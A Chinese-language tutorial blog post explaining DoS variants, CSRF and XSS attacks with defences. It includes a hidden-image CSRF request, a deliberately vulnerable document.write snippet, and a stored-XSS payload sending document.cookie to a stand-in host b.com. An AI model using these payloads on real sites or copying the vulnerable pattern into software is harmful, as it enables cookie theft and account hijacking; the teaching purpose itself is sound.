网络攻击

DoS攻击

DoS(Denial of Service),拒绝服务,顾名思义这种攻击是为了让服务器无法提供正常服务,最常见的DoS攻击是网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求无法通过。连通性攻击指用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。

可以看出来,DoS攻击本身也受网络规模和网络速度的限制,单个计算机没办法做到攻破一台服务器,所以DoS攻击者开发了分布式攻击DDoS(Distributed Denial of Service),集合许多计算机的带宽来同时对一台服务器发动攻击。下面我们来看三种典型的DoS攻击:SYN洪水攻击、IP欺骗和Land攻击。

  • SYN洪水攻击
    SYN洪水攻击是利用TCP协议的缺陷,通过发送大量的半连接请求消耗资源,造成网络拥塞甚至宕机以达到攻击者不可告人的秘密。
    我们都知道标准的TCP连接需要经过三次握手,首先是客户端发送SYN,服务端收到后发送ACK-SYN,客户端收到后再回复ACK连接建立成功。黑客针对TCP协议栈在两台主机间初始化连接握手的过程进行攻击,黑客通过包装第三次握手的ACK包使得服务端不能收到客正确的户端ACK包。而由于TCP协议具有超时重传机制,服务端会一直重传直到超时。这些虚假连接会一直占用缓冲区,正常的请求被丢弃,引起严重的网络阻塞甚至系统瘫痪。

  • IP欺骗
    这种攻击同样是利用TCP协议栈的漏洞,我们知道TCP协议有一个RST位用于连接出错时的复位。这种攻击利用IP欺骗,使得服务器将合法的用户连接复位,影响正常用户的使用。比如说现在有一个合法连接(172.111.222.123),攻击者构造一个TCP数据报,伪装自己的IP是172.111.222.123,并向服务器发送一个带RST位的数据报。服务器接收到后会认为该连接发生错误,将该连接从缓冲区中移除,所以正常用户只能重新发起连接。

  • Land攻击
    进行Land攻击时,黑客特别打造一个源地址和目标地址都被设置成某一个服务器的SYN包,此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接,每一个这样的连接都将保留直到超时。大量的连接将严重影响服务器性能。

针对DoS攻击的防御
那么我们面对DoS攻击是否是束手无策呢?当然不是,我们可以做以下防范:

  1. 缩短SYN超时时间,以减少缓冲区中保留的半连接个数。
  2. 限制同时打开的半连接个数,当半连接个数已经达到上限时,后面未成功的TCP连接将被丢弃而不会保存在缓冲区中。
  3. 设置SYN Cookie,就是给每一个请求连接的IP地址分配一个Cookie,如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被一概丢弃。

一般来说,第三种方法在防范该类问题上表现更佳。同时可以在Web服务器端采用分布式组网、负载均衡、提升系统容量等可靠性措施,增强总体服务能力。

CSRF攻击

CSRF(Cross Site Request Forgery)攻击,即跨站请求伪造,是一种常见的Web攻击。

攻击者可以盗用我们的登陆信息,以我们的身份模拟发送各种请求。例如:我们正常打开一个网站,输入账号密码登陆,此时服务器会返回一个cookie,浏览器将其保存在本地来识别身份信息。这时如果我们不小心打开了一个钓鱼网站,这个钓鱼网站就可以带着cookie冒充我们为所欲为。归根结底是源于Web的隐式身份验证,Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。

再例如:我在某个博客网站上发布了一篇文章,文章有这么一段内容:

<img style="width:0;" src="http://www.xxx.com/FollowBlogger?UserId=123"/>
  • 假设说/FollowBlogger?UserId=是这个网站的关注的接口并且我的ID是123,那么每个点开这篇文章的人都会自动的关注我的博客。这也是因为用户在打开这个网站的同时,本地保存了用户的cookie,而这个被我植入伪造请求的网站打开后会自动携带cookie发送伪造的请求。

通过上述描述我们可以看出CSRF攻击的发生有三个必要条件:

  1. 已经登录一个站点,并在本地保存下cookie。
  2. 在没有退出刚刚站点的情况下,打开了某第三方钓鱼网站或网站本身存在问题。
  3. 原站点没有CSRF防护

我们可以看到,前两个条件我们很难完全杜绝,所以为了保证安全,网站必须有必要的CSRF防护机制。我们已经知道CSRF攻击的原理是伪造用户请求,所以我们防护的时候就要从这里出发,试想如果我们的请求里有黑客伪造不出来的东西那就可以杜绝这种攻击方式了。

下面给出几种防护方法:

  • 对于POST请求使用验证码:这个方案可以完全杜绝CSRF攻击,但验证码过多会使用户体验很差,所以可以对敏感操作加验证码。
  • 验证HTTP Referer字段:Referer字段记录了HTTP请求的来源地址,从银行A网站发出来的请求会带有A网站的地址,从携带CSRF地址发出的请求会携带B网站的地址,我们只需在每个敏感请求验证Referer值,如果是来自A网站的通过,否则不通过。但是这种方法把安全寄托于浏览器,并不完全安全,在某些浏览器上,还是可以通过篡改 Referer 从而进行CSRF攻击。而且,在某些用户禁用Referer的情况下,服务器会一直拒绝客户的请求。
  • Anti CSRF Token:在请求地址中添加token 并验证。更多的是生成一个随机的token,在用户提交数据的同时提交这个token,服务器端比对后如果不正确,则拒绝执行操作。在用户登录之后,产生token 并放入session中,在每次请求时把token从session中拿出来,以参数的形式加入请求,在服务器端建立拦截器验证该token,token则通过,否则拒绝。但是这种方法也是有安全问题的,在某些网站支持用户发表链接的,那么黑客在该网站发布自己的个人网站地址,系统也会为这个地址后加上token,则黑客可以在自己的网站上得到这个token参数,从而发动CSRF攻击。
  • 在HTTP头中自定义属性token 并验证:把token作为自定义属性放在HTTP的头中,通过封装XMLHttpRequest可以一次性给所有请求加上token 属性。这样子token就不会暴露在浏览器地址中。

XSS漏洞

XSS(Cross Site Scripting),跨站脚本攻击,为了与层叠样式表(一般意义上的CSS)区别开,将其缩写为XSS。XSS的原理是黑客向Web页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而可以达到黑客盗取用户信息或其他侵犯用户安全隐私的目的。XSS漏洞主要分为持久型XSS漏洞和非持久性XSS漏洞。

非持久型XSS漏洞
<script>
  document.write(location.href.substring(location.href.indexOf('default=') + 8));
</script>

这段代码的用意是用url里default参数来渲染页面,也就是将dafault参数的值加载进页面里。这样就带来一个问题,不管default的值是什么,哪怕是一段包裹在script标签里的js代码也会被加载并执行。在这样的情况下,黑客可以精心设计一个诱导用户点击的url,例如:http://www.a.com?content=,一旦用户点击浏览器就会直接打开b.com,并且把用户的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了用户的cookie信息。

非持久性XSS漏洞主要有以下几个特点:

  1. 不经过服务器储存
  2. 黑客需要诱导用户点击恶意url
  3. 反馈率低,难以发现和修复

为了防止出现非持久性XSS漏洞,必须确保以下几点:

  1. 尽量不要从URL,document.referrer,document.forms 等这种DOM API中获取数据直接渲染。
  2. 尽量不要使用 eval, document.write(),document.writeln(), innerHTML,document.creteElement()等可执行字符串的方法。
  3. 对涉及DOM渲染的方法传入的字符串参数做转义(破坏html语法,使得展示字符而不是执行代码)。
  4. 必要的话,前端渲染的时候对任何的字段都需要做转义编码。
持久型XSS漏洞

持久型XSS漏洞一般存在于form表单提交等交互功能,如发帖、留言、提交文本信息等,黑客利用的XSS漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。
例如:我在某博客网站上发文章,文章包括一段可执行的代码<script>window.open("www.b.com?param="+document.cookie)</script>,这样一来所有打开这篇文章的人的cookie信息都会被发送到b.com上。

持久性XSS漏洞被攻击有以下几个必要条件:

  1. POST请求提交表单后端没做转义直接入库
  2. 后端从数据库中取出数据没做转义直接输出给前端
  3. 前端拿到后端数据没做转义直接渲染页面

防止出现持久性XSS漏洞,需要前后端的配合,要做到以下几点:

  1. 后端在数据入库时,不能相信任何前端数据,将所有的字段统一进行转义处理。
  2. 后端对返回给前端的数据统一进行转义处理。
  3. 前端在渲染页面的时候不能相信任何后端数据,任何字段都需要做转义处理。
  4. 转义操作可以手动编写js函数进行转义,也可以借助开源工具包转义。
  5. 对于敏感的 cookie 信息,使用 HttpOnly,使 document 对象中找不到 cookie。

SQL注入

暂时只给出一个网站大家看一下:https://www.cnblogs.com/pursuitofacm/p/6706961.html

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值